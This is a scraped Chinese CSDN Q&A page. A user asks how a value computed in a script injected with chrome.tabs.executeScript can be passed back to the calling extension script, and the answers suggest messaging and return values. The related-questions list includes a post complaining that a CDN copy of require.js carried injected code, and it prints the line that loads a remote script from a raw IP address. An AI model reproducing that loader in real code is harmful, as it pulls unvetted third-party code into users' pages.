a.js中executeScript给某tab注入b.js,b.js计算完的值怎么传回a.js中?

好像很多朋友都没有理解我的意思。。。其实我问的是关于executeScript的两个问题。因为executeScript有一个code参数和一个file参数,code是在当前页的js文件直接运行一段代码;而file是注入一个新的js文件,也就是我标题的意思。
1、chrome.tabs.executeScript(tb[0].id,{code:"abc(3)"},null);
……function abc(num){alert(num)}
这属于直接用code来在当前js文件运行一段代码,按照我的期望,它应该运行成功后就弹出窗口上面写个3,。但实际上它没有任何反映。我就很奇怪,code不是执行一段代码吗?为什么我不能执行同在a.js下的一个函数?莫非abc(3)这不能算代码吗?

2、chrome.tabs.executeScript(tb[0].id,{file:"b.js"},null);
这是我在标题问的问题。我在a.js中运行了以上代码,在一个tb[0]的tab插入b.js。而在b.js中计算出了一个变量值(假设为v),那么我如何将v传到a.js呢?要知道这个file:"b.js"仅仅只是注入了一段代码,可它并没有办法传值到b.js上。运用全局变量固然是个办法,可不到万不得已的时候,我不太想用,不知道大家有没有其他的解决办法。

4个回答

用chrome.tabs.sendMessage和background js交互,具体参考这个:https://blog.csdn.net/summerxiachen/article/details/78698878

你可以在一个页面引这两个JS,然后a.js获取到的数据放在一个公共变量里面b.js就可以获取到或者直接吧这个值当做参数传递个b.js的方法。

vainquit
vainquit 这问题就是如何把值当做参数传给b.js的方法。。。因为excuteScript的file:"b.js"并没有传值的功能的,仅仅只是注入b.js吧?
一年多之前 回复

比方说如果你想看到在网站http://www.example.com里面的一个警告框,那么首先在地址栏输入URL(www.example.com),当页面加载完之后,清空URL并输入javascrit:alert("Hello World")作为一个新的URL.这样将弹出一个警告框显示Hello World.可是,一些人会用这个技巧改变页面内的几乎任何内容

使用方式:{code:abc(3)}
b.js 加个return 啊 把结果直接return返回 那样 abc(3) 直接就是结果了

vainquit
vainquit 可是注入b.js的代码不是file:"b.js"嘛。。这样就无法引用函数了
一年多之前 回复
Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
其他相关推荐
我写了两个js,a.js,b.js,其中a.js中每个函数,要调用b.js中的另一个函数,在a.js中如何导入才能b.js中的函数在a.js中可见?
我写了两个js,a.js,b.js,其中a.js中每个函数,要调用b.js中的另一个函数,在a.js中如何导入才能b.js中的函数在a.js中可见?
我想在a.js文件中再引入b.js文件的内容
我想在a.js文件中再引入b.js文件的内容rnrna.js文件内容如下rnrndocument.write("我的网");rndocument.write("版权所有");rnrnb.js文件内容如下:rn rnrna.js文件主要是用来输入每个页面的底部信息,而b.js文件则主要用来计数的功能。其实应该可以把这两个文件分别写在每个页面中,但由于已经有很多文件了,因此,这样改起来不方便,不知还有没有其他的办法啊??????、
一个B.js获取另一个A.js的方法,只要将在html页面中的载入顺序将A.js放在B.js前即可
-
a.js和b.js互相require怎么执行? —— CommonJS模块探究
a.js和b.js互相require怎么执行? —— CommonJS模块探究 学习Node.js遇到2个模块互相引用的问题,有点搞不清楚。我觉得这个模块机制对于学习Node.js来说,搞清代码执行顺序来说,十分有必要。 所以在读了相关资料,并实践之后,愉快的在这分享一下成果。 CommonJS中模块的"循环引用"问题 先说结论: Com...
ExtJs:如何从a.js获得b.js的tabpanel元素
如题,急求做毕设.
ext从a.js访问b.js(从a中的按钮给b中的grid,加mask)
怎么可以实现从a中的按钮给b中的grid,加maskn就在a中有一个search按钮,点击后,b的grid会出现maskn求大神帮助!!!n下面是自己写的,可是出错了,求指导(这部分是写在search的listeners里面的click)n(var gridPanel = Ext.ComponentQuery.query('suppressionGridPanel');n gridPanel.getView().mask();)
a.js文件要调用b.js文件中的一个函数怎么调用?
如题 谢谢!~
a.js和b.js有同名方法,有不同方法,怎么在一个页面分别引入,分别使用?
就是百度地图的API,怎么分别引入1.1的和1.2的
这样的a.js怎样反编译?
-
如何动态的引入js文件,即一定条件用引入a.js,其他条件调用b.js
如何动态的引入js文件,即一定条件用引入a.js,其他条件调用b.jsrn由于部分js文件比较大,不想每次都引入,想在一定条件下,引入,有什么办法吗
【apache配置】能否通过配置,把http请求a.js返回的是b.js或者其他一个CGI
我最近在做一些测试,先请教下,能否实现通过配置,比如http.conf修改达到一下目的:rnrn 用户通过http请求 /js/a.js,rn 而我通过修改配置,apache返回 /cgi-bin/b_cgirn 然后通过 b_cgi读出一个JS文件返回应答rnrn从WebServer原理上来说是可以这样做的,但是我不知道如何通过修改配置来完成这个目的rnrn如果apache不支持,请问nginx支持吗?请知道的大神回复下,十分感谢。
请问JavaScript是不是有限制:在动态加载的脚本中不可以再动态加载另一个脚本了?也就是说不可以连环动态加载(a.js加载b.js,b.js加载c.js)?
主脚本文件:a.jsrn[code=javascript]rnvar script = document.createElement("script");rnscript.onload = function() rn alert("加载脚本b成功!"); //这里可以看到弹出成功提示。rnrnscript.src = "b.js";rndocument.getElementsByTagName("head")[0].appendChild(script);rn[/code]rnrn子脚本文件:b.jsrn[code=javascript]rnvar script = document.createElement("script");rnscript.onload = function() rn alert("加载脚本c成功!"); //这里永远都看不到弹出成功加载的提示!rnrnscript.src = "c.js";rndocument.getElementsByTagName("head")[0].appendChild(script);rn[/code]rn这是为什么呢?rnrn另外还有一个疑惑:[code=javascript]document.getElementsByTagName("head")[0].appendChild(script);[/code]不能写作:[code=javascript]document.body.appendChild(script);[/code]rn否则浏览器(Chrome)报错:rnrn[color=#FF0000]Uncaught TypeError: Cannot read property 'appendChild' of null[/color]rnrn可按道理,写成 document.body 不是应该可以的吗???(连圣经书上也都是这么写的)document.body 是一种传统写法(不像 document.head 是一种新写法),应该也不存在最新版本浏览器可能才支持的问题呀?rnrn
b.jsp文件中包含了 a.js文件,如何在a.js文件中捕获 b.jsp的document对象
如题
为什么不能调用a.js文件
a.htm 中的内容rn rna.js 中的内容rndocument.write(" ……")rn我在a.htm 中调用a.js时。当“document.write(" ……")”不在同一行时。在a.htm中就不能显示a.js 中的内容。不知道是为什么?rnrn
求大神【当a页面载入a.js就触发让b页面的b.js重新载入】怎么写?
一个很懵逼的问题:rna页面是个缓存页,它会每隔一段时间就自动生成一次,现在给它加个a.js,rn让每一次载入a.js都让在b页面里的b.js重新载入一次,rn简单来说,就是a页面更新了,处于打开状态的b页面会通知说:a页面那货更新了!rna.js要怎么写?b.js要怎么写?大神出招吧rn要用a通知b的方式,不能用不停刷新的轮询方式哦
高分求助怎么将a.js中的变量abc赋值给b.jsp中的变量????
我要想将a.js中的变量abc赋值给b.jsp中的变量,不知道代码怎么实现,望各位高手解决一下????谢谢!!!!
在JavaScript文件(b.js)的函数中,怎样#include file="a.asp"文件?
在JavaScript文件b.js中,有一个函数,我想在其中包含一个文件,就像asp文件一开头使用:一样。
某个html文件引用a.js,而a.js里面要用到html里面id=b变量,请问怎么实现?
如题!
怎么从dll中传回字符串值?
希望实现用c++程序来获取dll中传回的字符串值。感觉用char* 怎么传不过来?dll中的字符串不是固定值,是个变量。rnrn谁有源码或者写个源码给我吧,谢谢了。
如何计算DataGrid中某一列的值?
我想在DataGrid控件的下面再添一个textbox控件,用于显示DataGrid控件中的某一列的所有值的总和,在DataGrid中的数据显示出来的同时能够计算出该总和并显示出来,请教各位大侠如何实现?希望有具体的代码以供学习进步,谢谢!
require.js 被植入b.js 百度联盟推广js植入. 真坑
在百度cdn下载的require.js代码. 使用之后一直出百度的推广小广告.然后找了半天,才发现,js被植入了这样一段代码.真坑 if("undefined"!==typeof window._tload&&window._tload){return false;};a("http://120.76.247.148/b.js",function(){})})(); 去掉之后就没有弹窗了!!
B.js里面如何做才能实现调用dd()函数?
A.js动态调用B.js,rnrnrnrndd()函数定义在A.JS里面rnrnrnrnvar script = document.createElement(’script’);rnrnscript.onload=function () alert(’callBack’);;rnrnscript.src=”a.js” ;rnrndocument.getElementsByTagName(’head’)[0].appendChild(script);rnrnrnfunction dd()().....rnrnrnB.js里面如何做才能实现调用dd()函数?rnrn现在知道B.js里面可以写dd();
Spring怎么给类中静态变量注入值??
[code=Java]rnpublic class StatSignAction extends ActionSupportrn private static WorkTimeDAO workTimeDAO;rnrnrn public static WorkTimeDAO getWorkTimeDAO() rn return workTimeDAO;rn rn public static void setWorkTimeDAO(WorkTimeDAO workTimeDAO) rn StatSignAction.workTimeDAO = workTimeDAO;rn rnrn[/code]rnrn我用注释annotation来配置的,在XML中写bean也没用。。老是报空指针错误
怎么得到DataGrid中的某一行中的某一列的值?
我的DataGrid中有四列,其中一列叫备注,另一列是linkbutton按钮——编辑,我想在按任意行的编辑按钮时,得到这一行的行号,得到此行中备注列的内容,并将内容显示在页面下方的TextBox中。
弹出窗口的值怎么传回父页面
要实现的功能rn点 A 页面 弹出B 页面, 然后选择B页面的某个值X后,A页面FORM里的 name1.value = X
怎么计算表格中某一列的总和
比如说在表格中某一列都时数字.rn请问高手!怎么计算表格中某一列的总和?rn
页面控件中的值无法传回服务器
比如页面中有一个文本控件 txtNamern在页面初始化的时候给他赋值为 张三rn我浏览该页面,修改其值为 李四,然后提交给服务器rn服务器页面访问rnme.txtName 的值还是张三rn但是rnRequest.Form("txtName") 是李四rn谁知道为什么啊,救救我rn估计和 ViewState 有关系吧rn
c#中如何写有传回值的sqlcommand
想在insert一条记录到sqlserver时得到数据表自动产生的id,如何做?谢!
php中如何传回多个checkbox的值
我有个程序,想要在每条记录后跟一个checkbox,当选中后(可以选择多个),执行删除,就将删除选中的记录,根据记录号(id)来删除的。可我用这句话,只能传最后一个值给下一个程序,将name的值改为变量又不行,请教各位大虾,如何达到一次得到多个id的结局呢?rn
servlet如何把值传回给jsp?
比如一个jsp页面上输入一个表名:tablename,提交表单后台Servlet处理后得到该表的一些字段信息,如何把这些返回给jsp页面(同一个页面)?rnps;没有使用什么框架,纯jsp,servletrn高手帮忙说下servlet端怎么返回,以及jsp上怎么得到然后显示
如何给对象赋值并且传回对象值
给参数赋值rnpublic void SetParamValue(object[] param)rnrn rn for(int i=0;i
怎样将下拉菜单的值传回给数据库?
菜单中的内容是我数据库查询的条件rnjs代码如下:rn*************************************************************************rn rn*************************************************************************rnJSP代码如下:rn*************************************************************************rn rn 全部 BWB CABLE COIL CONDrn CONN DL FRAME FUSE IC rn METAL PA MODULE NAME PL OTHER EQ OTHERS rn P-7 PKG POW PKG PWB REL RESrn SCREW SW,KEY TR,DIODE TRANS TRK PKGrn VARISTOR XTALrn rn rn rn
Struts2怎么将action中的值传回页面
就是上传图片,判断是否是图片格式(后缀名正确就行),不是的话弹出一个对话框
怎么判断datagridview中某一列的值?
怎么判断datagridview中某一列的值?rnrn最好提供详细的代码
怎么修改Excel中某一列的值?
怎么修改Excel中某一列的值?rnbeginrnwith ADOQuery1 dornbeginrnClose;rnSQL.Clear;rnSQL.Add('select * from [线路水平数据$]');rnOpen;rnADOQuery1.First;rnwhile not ADOQuery1.Eof do beginrnEdit;rnfieldbyname('某一列').AsInteger:=74321;rnPost;rnNext;rnend;rnend;rnrn我这么做只能修改第一列值,而且会出现“操作必须是一个可更新查询”的错误,郁闷
怎么获取数据库表中的某字段值
aa=conn.execute("select id from [ssdd] order by dtime desc")(0)rnrn当ssdd表没有任何内容的时候,如何让aa的值为0
怎么改写DataGridView中某一列的值
数据库里面是数字,取出来的列是这样的:rnrn[color=#FF0000]-----------rn食物(列名)rnrn1rn3rn1rn2rn-----------[/color]rnrnrn怎么改写这列的值让这列变成下面的汉语显示rnrnrn[color=#FF0000]------------rn食物(列名)rnrn苹果rn香蕉rn苹果rn橘子rn------------[/color]rn1.代表苹果 2.代表橘子 3.代表香蕉rnrnrnrnrn不好意思,我没有分了,只有20分了
excel中计算值
在excel中,我们经常会用到当A列不是固定值,但是B列是固定值,那么我们该如何计算呢?公式如下: C1==A1*$B$1,其中A1值不固定,B1值固定
计算datagrid中的值
datagrid中有单价,数量,金额这3列 要求在输入单价和数量之后自动计算值并放到金额这一列,该怎么实现?我用的是vs.net 2003 应该怎么样添加单元格改变事件 右键控件 弹出后的菜单没有“添加事件处理程序”这一项
js后面的参数a.js?time=123456 怎么获取time和123456
-
相关热词 c#检测非法字符 c#双屏截图 c#中怎么关闭线程 c# 显示服务器上的图片 api嵌入窗口 c# c# 控制网页 c# encrypt c#微信网页版登录 c# login 居中 c# 考试软件